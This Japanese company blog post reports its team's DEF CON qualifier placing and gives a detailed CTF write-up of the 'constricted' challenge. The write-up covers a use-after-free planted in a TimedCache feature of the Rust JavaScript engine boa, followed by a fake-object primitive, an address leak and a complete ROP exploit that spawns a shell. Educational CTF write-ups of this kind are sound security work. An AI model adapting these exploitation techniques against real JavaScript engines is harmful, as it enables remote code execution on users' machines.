著者:
5月28日から30日にかけて、世界最大のハッキングコンテストDEF CONの予選CTFが開催されました。制限時間は48時間、今年の参加チームは500チーム弱。上位15チームだけが決勝に進める過酷な戦いです。
リチェルカセキュリティの社員・アルバイトには、現役でCTFに取り組んでいるメンバーが多数在籍しています。CTFは多種多様な前提、制約、技術領域に触れる機会になり、業務の実行能力にも繋がります。そこで、今年は会社としてDEF CONに挑戦することにしました。
弊社にはTokyoWesternsやbinjaなどをはじめとして、複数の強豪チームのメンバーが在籍しています。今回、各チームのメンバーにも協力をいただき、合同チーム「./V /home/r/.bin/tw
」として出場しました。
▲ 寿司を注文しすぎたメンバー ▲
結果、今年は世界中から500近くのチームが参加し、我々は世界7位(日本国内1位)で決勝へと歩を進めることができました🎉
▲ CTFの最終結果 ▲
数多くの難問が出題されましたが、この記事では「constricted」という問題のwrite-upを公開しようと思います。この問題はBrowser Exploitを題材にした問題で、Rust製のJavaScriptエンジンに埋め込まれた脆弱性を悪用し、リモートコード実行を達成するという、いわゆるPwnableの問題です。弊社では過去にBrowser Exploitのトレーニングを提供したり、Chromeの1day PoCを開発したりした経験があるため、この問題は何としても解かなければならない問題でした。
参加した弊社メンバーからは、アルバイトのDronexさんとmoratorium08さん、そして正社員のptr-yudaiがこの問題に主に取り組みました。以下はDronexさんによる詳細なwrite-upです。
この問題の攻撃対象は、boaというRust製のJavaScriptエンジンです。
Rustはメモリ安全性が注目されている言語で、Rust製のアプリケーションにはC言語で起きやすいような単純なBuffer OverflowやUse-after-Freeといった脆弱性が生まれにくい特徴があります。今回の問題では、このRust製JavaScriptエンジンに TimedCache
という機能が追加されており、そこに脆弱性が潜んでいました。
TimedCache
はオブジェクトを保管するKey-Valueストアで、キーに紐付いたデータに有効期限を設定できます。例えば下のコードの場合、”key1”というキーに1000ミリ秒(1秒)間だけ有効なデータを設定しています。そのため、最初のgetではキーに紐付いたオブジェクトが取得できますが、1.5秒待った後に同じ処理をするとundefinedが返ります。
let cache = new TimedCache(); cache.set("key1", {"some": "value"}, 1000); console.log(cache.get("key1")); // --> [object Object] console.sleep(1500); console.log(cache.get("key1")); // --> undefined
また、getに第二引数を渡すと有効期限を延長できます。
let cache = new TimedCache(); cache.set("key1", {"some": "value"}, 1000); console.log(cache.get("key1", 2000)); // --> [object Object] console.sleep(1500); console.log(cache.get("key1")); // --> [object Object]
TimedCache
という機能はJavaScriptの仕様として存在しませんが、この問題ではそれが追加されています。したがって、ここに悪用可能な脆弱性が潜んでいると考え、重点的に調査することにしました。
TimedCache
のキーに対応するデータ(value)は、boaエンジンの内部で TimeCachedValue
として次のように定義されています。
#[derive(Debug, Clone)] pub struct TimeCachedValue { expire: u128, data: JsObject, } ... impl Finalize for TimeCachedValue {} unsafe impl Trace for TimeCachedValue { custom_trace!(this, { if !this.is_expired() { mark(&this.data); } }); }
この実装によれば、this.is_expired()
が真の時data
はマークされず、GC(ガベージコレクタ)によって回収されます。キーの期限がexpireした場合、data
はその時点で必要なくなるためこの実装は妥当に見えますが、実際にはexpire済のオブジェクトの参照を得る方法が存在します。
TimedCache.prototype.get
の処理を確認してみましょう。
/// `TimedCache.prototype.get( key, lifetime=null )` /// /// Returns the value associated with the key, or undefined if there is none or if it has /// expired. /// If `lifetime` is not null, sets the remaining lifetime of the entry if found pub(crate) fn get( this: &JsValue, args: &[JsValue], context: &mut Context, ) -> JsResult<JsValue> { const JS_ZERO: &JsValue = &JsValue::Rational(0f64); let key = args.get_or_undefined(0); let key = match key { JsValue::Rational(r) => { if r.is_zero() { JS_ZERO } else { key } } _ => key, }; if let JsValue::Object(ref object) = this { if !check_is_not_expired(object, key, context)? { return Ok(JsValue::undefined()); } let new_lifetime = args.get_or_undefined(1); let expire = if !new_lifetime.is_undefined() && !new_lifetime.is_null() { Some(calculate_expire(new_lifetime, context)?) } else { None }; if let Some(cache) = object.borrow_mut().as_timed_cache_mut() { if let Some(cached_val) = cache.get_mut(key) { if let Some(expire) = expire { cached_val.expire = expire as u128; } return Ok(JsValue::Object(cached_val.data.clone())); } return Ok(JsValue::undefined()); } } context.throw_type_error("'this' is not a Map") }
このコードを要約すると、次のような処理になっています。
check_is_not_expired
がexpiredと判断した場合:get
の引数lifetime
が指定されている場合:calculate_expire
の呼出lifetime
に更新 さらに、calculate_expire
では、lifetime
がObjectの場合は@@toPrimitive
を呼び出してNumberに変換しています。 calculate_expire
のコードは次のようになっています。
fn calculate_expire(lifetime: &JsValue, context: &mut Context) -> JsResult<i128> { let lifetime = lifetime.to_integer_or_infinity(context)?; let lifetime = match lifetime { IntegerOrInfinity::Integer(i) => i as i128, _ => 0 }; let start = SystemTime::now(); let since_the_epoch = start .duration_since(UNIX_EPOCH) .expect("Time went backwards"); let since_the_epoch = since_the_epoch.as_millis() as i128; Ok(since_the_epoch + lifetime) }
lifetime
を to_integer_or_infinity
と後続のmatch文でIntegerに変換しています。 to_integer_or_infinity
は最終的に lifetime
がObjectの場合に to_primitive
を呼び出していることが分かります。
pub fn to_integer_or_infinity(&self, context: &mut Context) -> JsResult<IntegerOrInfinity> { // 1. Let number be ? ToNumber(argument). let number = self.to_number(context)?; ... pub fn to_number(&self, context: &mut Context) -> JsResult<f64> { match *self { ... JsValue::Object(_) => { let primitive = self.to_primitive(context, PreferredType::Number)?; primitive.to_number(context) } } }
したがって、 Symbol.toPrimitive
を設定したオブジェクトを lifetime
に渡せば、 calculate_expire
のタイミングで任意のJavaScript関数を呼び出せます。実際に試してみましょう。
const cache = new TimedCache(); cache.set("x", [], 1000); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.log("[1]"); return 1000; } }); console.log("[2]");
実行結果:
$ boa exploit.js [1] [2]
lifetime
のオブジェクトに設定した関数が呼ばれていることが分かります。
これを利用すれば、@@toPrimitive
が呼び出された後に、関数内でそのデータの期限が切れるまで待機して、さらにGCを強制するとdata
が解放されます。一方で @@toPrimitive
を呼んだ文脈では data
を参照したままなので、Use-after-Freeが発生します。
const cache = new TimedCache(); cache.set("x", [], 10); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); return 1000; } }); console.log("[2]");
実行結果:
thread 'main' panicked at 'Can't double-unroot a Gc<T>', /usr/local/cargo/registry/src/github.com-1ecc6299db9ec823/gc-0.4.1/src/lib.rs:226:9
何やらpanicが起きました。上のコードでは toPrimitive
で1000を返しているため、再びデータの期限が延長されます。この場合、 TimeCachedValue
のunroot時に既に回収済みのdata
に対して再びunrootが呼ばれるため、以下の箇所にあるassertによりpanicが発生しています。
impl Finalize for TimeCachedValue {} unsafe impl Trace for TimeCachedValue { custom_trace!(this, { if !this.is_expired() { mark(&this.data); } }); }
これを回避するにはtoPrimitive
で0を返して、expiredのままにさせておけば良いです。(nullやundefined等、期限を延長しない値であれば何でも良いです。)
さて、返却されたx
は解放済みのオブジェクトを指しているので、直後に別のオブジェクトを生成すると実体がすり替わることが確認できます。
const cache = new TimedCache(); cache.set("x", new String("foo"), 10); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); const b = new String("bar"); console.log(x);
実行結果:
$ boa exploit.js bar
予想通りUse-after-Freeが起きています🥳
先ほどのコードでは、新しく生成した文字列オブジェクト b
に x
が入れ替わりました。これでは単にJavaScriptオブジェクトが差し替わっただけなので意味がありません。内部的なデータ構造とオーバーラップさせて、Type Confusionのような状況を作る必要があります。
悪用手法は複数あると思いますが、大会当日は ArrayBuffer
を利用しました。ArrayBuffer
を適切なサイズで作成することで、ArrayBuffer
が確保するバイト列を解放済み領域に被せることができます。 ArrayBuffer
のバッファは我々攻撃者が操作できるため、偽のJavaScriptオブジェクトを作る強力なツールとなります。Use-after-Freeの起きるオブジェクトを、下記 ArrayBuffer
構造体中のベクタ array_buffer_data
のバッファと被せるPoCを書いてみましょう。
#[derive(Debug, Clone, Trace, Finalize)] pub struct ArrayBuffer { pub array_buffer_data: Option<Vec<u8>>, pub array_buffer_byte_length: usize, pub array_buffer_detach_key: JsValue, }
次のコードで実際に試してみます。
const cache = new TimedCache(); cache.set("x", [{}, {}, {}], 10); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); console.log("x :", console.debug(x)); console.log("x[0]:", console.debug(x[0])); console.log("x[1]:", console.debug(x[1])); console.log("x[2]:", console.debug(x[2])); console.log("--------"); const buf = new ArrayBuffer(0x180); const view = new DataView(buf); console.log("buf :", console.debug(buf)); console.log("x[1]:", console.debug(x[1])); console.log("view:", console.debug(view));
実行結果:
x : JsValue @0x758ad761d050 Object @0x758ad76bf6a8 - Methods @0x758ad7609230 x[0]: JsValue @0x758ad761d050 Object @0x758ad76bf828 - Methods @0x758ad7609000 x[1]: JsValue @0x758ad761d050 Object @0x758ad76bf9a8 - Methods @0x758ad7609000 x[2]: JsValue @0x758ad761d050 Object @0x758ad76bfb28 - Methods @0x758ad7609000 -------- buf : JsValue @0x758ad761d050 Object @0x758ad76bfb28 - Methods @0x758ad7609000 - Array Buffer Data @0x758ad76bf980 x[1]: JsValue @0x758ad761d050 Object @0x758ad76bf9a8 - Methods @0x0 view: JsValue @0x758ad761d050 Object @0x758ad76bf828 - Methods @0x758ad7609000
view
の実体は0x758ad76bf828にありますが、これはx[0]
の実体と同じアドレスに確保されています。また、 buf
の実体は0x758ad76bfb28となっており、これは x[2]
の実体と同じアドレスです。そして何より重要なのが、 buf
の”Array Buffer Data”のアドレスを見ると0x758ad76bf980となっています。一方で x[1]
の実体は0x758ad76bf9a8にあり、0x28だけ離れていることが分かります。 ArrayBuffer
は0x180バイト分確保したので、このバッファのオフセット0x28にデータを書き込めば、 x[1]
の実体を直接書き換えられます。
結果を図にすると、次のようになります。
▲ オブジェクト解放直後の様子 ▲
▲ ArrayBufferを重ねた後の様子 ▲
buf
にデータを書き込んで偽のObjectを組み立てることで、偽オブジェクトをx[1]
として使用できます。(いわゆるfakeObj primitiveができました!)
なお、Array Buffer Dataのアドレスはx[1]
から0x28だけずれていますが、これはObjectが別の構造体の一部として確保されており、メモリチャンク先頭からずれているのが原因です。gdbで見るとメモリは次のようになっています。
▲ メモリ上のx[1] (UAF前) ▲
▲ メモリ上のx[1] (ArrayBufferで上書き後、先頭に0xC0DEBEEFを書き込み) ▲
注目すべきは@0x0
となっているx[1]
のMethodsです。これはObjectData構造体のinternal_methods
であり、ここには本来関数テーブルへのポインタが入っています。 ArrayBuffer
のデータで上書きされたためゼロ初期化されていますが、ここに適切なアドレスを書き込むことで偽の関数テーブルを指定できます。
/// The internal representation of a JavaScript object. #[derive(Debug, Trace, Finalize)] pub struct Object { /// The type of the object. pub data: ObjectData, /// The collection of properties contained in the object properties: PropertyMap, /// Instance prototype `__proto__`. prototype: JsPrototype, /// Whether it can have new properties added to it. extensible: bool, /// The `[[PrivateElements]]` internal slot. private_elements: FxHashMap<Sym, PrivateElement>, } ... /// Defines the kind of an object and its internal methods #[derive(Trace, Finalize)] pub struct ObjectData { pub kind: ObjectKind, internal_methods: &'static InternalObjectMethods, } ... // Allocate on the heap instead of data section #[allow(non_snake_case)] pub(crate) fn NEW_ORDINARY_INTERNAL_METHODS() -> Box<InternalObjectMethods> { Box::new(InternalObjectMethods { __get_prototype_of__: ordinary_get_prototype_of, __set_prototype_of__: ordinary_set_prototype_of, __is_extensible__: ordinary_is_extensible, __prevent_extensions__: ordinary_prevent_extensions, __get_own_property__: ordinary_get_own_property, __define_own_property__: ordinary_define_own_property, __has_property__: ordinary_has_property, __get__: ordinary_get, __set__: ordinary_set, __delete__: ordinary_delete, __own_property_keys__: ordinary_own_property_keys, __call__: None, __construct__: None, }) }
そこで、別のArrayBuffer
を用意しておき、そちらに適当なアドレスを書き込みます。このデータのアドレスを指すようにinternal_methods
を書き換えてから関数を呼び出すと、プログラムカウンタ(RIP)を制御できると考えられます。実際に試してみましょう。
const fakeTable = new ArrayBuffer(256); const fakeTableView = new DataView(fakeTable); fakeTableView.setBigUint64(0, 0x1337n, true); const fakeTableAddr = BigInt(/Array Buffer Data @(0x[0-9a-f]+)/.exec(console.debug(fakeTable))[1]); const cache = new TimedCache(); cache.set("x", [{}, {}, {}], 10); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); const buf = new ArrayBuffer(0x180); const view = new DataView(buf); view.setBigUint64(0x28 + 0x60, fakeTableAddr, true); Object.getPrototypeOf(x[1]);
デバッガで確認すると、RIPが0x1337に制御できていることが分かります。これでUAFをRIP制御につなげることができました。
しかし、本問題のバイナリはPIEが有効なので、実行可能な既知アドレスは存在しません。したがって、アドレスリークが必要になります。
アドレスリークをする手段としては、配列の長さを改ざんしてout-of-boundsのreadを行ったり、ポインタを書き換えて既知のアドレスから読み出したりといった手法が考えられます。
今回のexploitでは、解放済みの ArrayBuffer
データメモリの位置に別の新規オブジェクトを確保して、それを読み出すことでアドレスリークを達成しました。原理はRIP制御で説明したものとほとんど同じです。
const cache = new TimedCache(); cache.set("x", new BigUint64Array(10), 10); let x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); // create DeclarativeEnvironment { } console.log(x[2].toString(16));
実行結果:
55ea059bddb0
上のPoCでは、データ長が0x50バイトとなる BigUint64Array
をUAFの対象としています。x
を取得後、空のブロックに到達するとブロックスコープを生成するためDeclarativeEnvironment
が確保されます。正確にはgc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment>
で、合計0x50バイトの構造体となり、サイズが一致する解放済みArrayBuffer
データの位置に再確保されます。この先頭にはgc::gc::GcBoxHeader
構造体が存在します:
pub(crate) struct GcBoxHeader { roots: Cell<usize>, // high bit is used as mark flag next: Option<NonNull<GcBox<dyn Trace>>>, }
next
メンバはトレイトオブジェクトを保持するので、バイナリ上ではvtableへのポインタが付随します。当然vtableはプログラムバイナリ中に存在するので、このポインタを読み出すことでプロセスのベースアドレスが計算できます。問題のバイナリではvtableのオフセット0x11c9db0
を引けばベースアドレスとなります。
pwndbg> p *(0x73f438e2e0f0 as &gc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment>) $4 = gc::gc::GcBox<boa_engine::environments::runtime::DeclarativeEnvironment> { header: gc::gc::GcBoxHeader { roots: core::cell::Cell<usize> { value: core::cell::UnsafeCell<usize> { value: 0 } }, next: core::option::Option<core::ptr::non_null::NonNull<gc::gc::GcBox<dyn gc::trace::Trace>>>::Some(core::ptr::non_null::NonNull<gc::gc::GcBox<dyn gc::trace::Trace>> { pointer: *const gc::gc::GcBox<dyn gc::trace::Trace> { pointer: 0x73f438ee3000, vtable: 0x55555671ddb0 } }), ...
(注: ASLRの影響により先の実行結果とは値が異なります。)
ここまででRIPの制御とアドレスリークが完了しました。プロセスのベースアドレスが分かっているので、プログラム中のROP gadgetを利用してROPに持ち込むのが簡単でしょう。プログラムバイナリが十分に大きいためROP Gadgetは豊富に存在し、ROP chainの組み立ては容易です。
プログラムカウンタを制御できた時点で、偽のinternal_methods
を持たせたオブジェクト付近のアドレスがレジスタに含まれています。そこで、ROP chainを偽の internal_methods
テーブルの後ろに配置しておき、スタックポインタをそちらに移すことでROPが開始できます。もちろん、Stack Pivotが完了するまで ret
命令は使えないので、call/jmp命令を使うCOP/JOPでStack Pivotを実現しました。
最終的な、シェルを取るまでのexploitコードは次のようになります。
function leakProcBase() { const cache = new TimedCache(); cache.set("x", new BigUint64Array(10), 10); let x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); // create DeclarativeEnvironment { } const procBase = x[2] - 0x11c9db0n; console.log("[+] proc = 0x" + procBase.toString(16)); // cleanup console.collectGarbage(); Array.from({ length: 128 }, v => { }); return procBase; } function pwn(procBase) { const fakeTableBuf = new ArrayBuffer(0x1000); const fakeTableView = new DataView(fakeTableBuf); const fakeTableAddr = BigInt(/Array Buffer Data @(0x[0-9a-f]+)/.exec(console.debug(fakeTableBuf))[1]); const cache = new TimedCache(); cache.set("x", [{}, {}, {}], 10); const x = cache.get("x", { [Symbol.toPrimitive](hint) { console.sleep(20); console.collectGarbage(); } }); const victim = x[1]; // fake object const fakeObjBuf = new ArrayBuffer(0x180); const fakeObjView = new DataView(fakeObjBuf); // internal_methods fakeObjView.setBigUint64(0x28 + 96, fakeTableAddr, true); // internal_methods.__get_prototype_of__ fakeTableView.setBigUint64(0, procBase + 0x00e8f7a2n, true); // 0x00e8f7a2: mov rax, qword [rsi+0x28] ; call qword [rax+0x28] /* C(J)OP */ // 0x00140c9f: mov rax, qword [rax+0x08] ; call qword [rax+0x18] const ropBaseOffset = 8 * 8; const ropBase = fakeTableAddr + BigInt(ropBaseOffset); const ofs2 = 0x28; const ofs3 = 0x60; fakeObjView.setBigUint64(0x28 + 1, procBase + 0x00140c9fn, true); fakeObjView.setBigUint64(0x8 + 1, ropBase, true); // = rax+0x18 fakeTableView.setBigUint64(ropBaseOffset + 0x18, procBase + 0x0013d54cn, true); // 0x0013d54c: mov rdi, qword [rax] ; mov rax, qword [rax+0x08] ; call qword [rax+0x20] fakeTableView.setBigUint64(ropBaseOffset + 0, ropBase + BigInt(ofs3), true); // rdi fakeTableView.setBigUint64(ropBaseOffset + 8, ropBase + BigInt(ofs2), true); // rax fakeTableView.setBigUint64(ropBaseOffset + ofs2 + 0x20, procBase + 0x00bb935dn, true); // 0x00bb935d: push rdi ; jmp qword [rax+0x00] fakeTableView.setBigUint64(ropBaseOffset + ofs2 + 0, procBase + 0x0027df7en, true); // 0x0027df7e: pop rsp ; ret /* ROP */ const pathnameOffset = 0x200; Array.from("/bin/bash\\\\0", c => c.charCodeAt(0)).forEach((v, i) => fakeTableView.setUint8(ropBaseOffset + pathnameOffset + i, v)); [ procBase + 0x00ead8ebn, // 0x00ead8eb: pop rdi ; ret ropBase + BigInt(pathnameOffset), procBase + 0x00eabd2dn, // 0x00eabd2d: pop rsi ; ret 0n, procBase + 0x00dfe1can, // 0x00dfe1ca: pop rdx ; ret 0n, procBase + 0x00e99580n, // 0x00e99580: pop rax ; ret 59n, procBase + 0x00140493n, // 0x00140493: syscall ].forEach((v, i) => fakeTableView.setBigUint64(ropBaseOffset + ofs3 + i * 8, v, true)); // control rip Object.getPrototypeOf(victim); } pwn(leakProcBase());
以下は実行結果のスクリーンショットです。(クリックで拡大)
DEF CON当日は、最終的に、上位チームを中心に十数チームがこの問題を解きました。我々のチームは脆弱性発見後、RIP制御とアドレスリークを並列分担してスムーズに作業できたため、問題が出題されてから比較的早い段階でフラグを得ることができました。
メモリ安全が保証されている言語で、一見正しく見えるunsafeなガベージコレクタの利用によって、任意コード実行にまでつながるという興味深い問題でした。
決勝大会は例年通りラスベガスで開催されます。リチェルカでは、今回参加してくださった社員・アルバイトの方が決勝大会やDEF CONカンファレンスに参加できるよう、旅費を支援する予定です。
最後になりますが、今回のCTFに参加してくださった社員、アルバイトの方々、そして協力してくださった各チームのメンバーの方々、ありがとうございました!決勝でお会いしましょう👋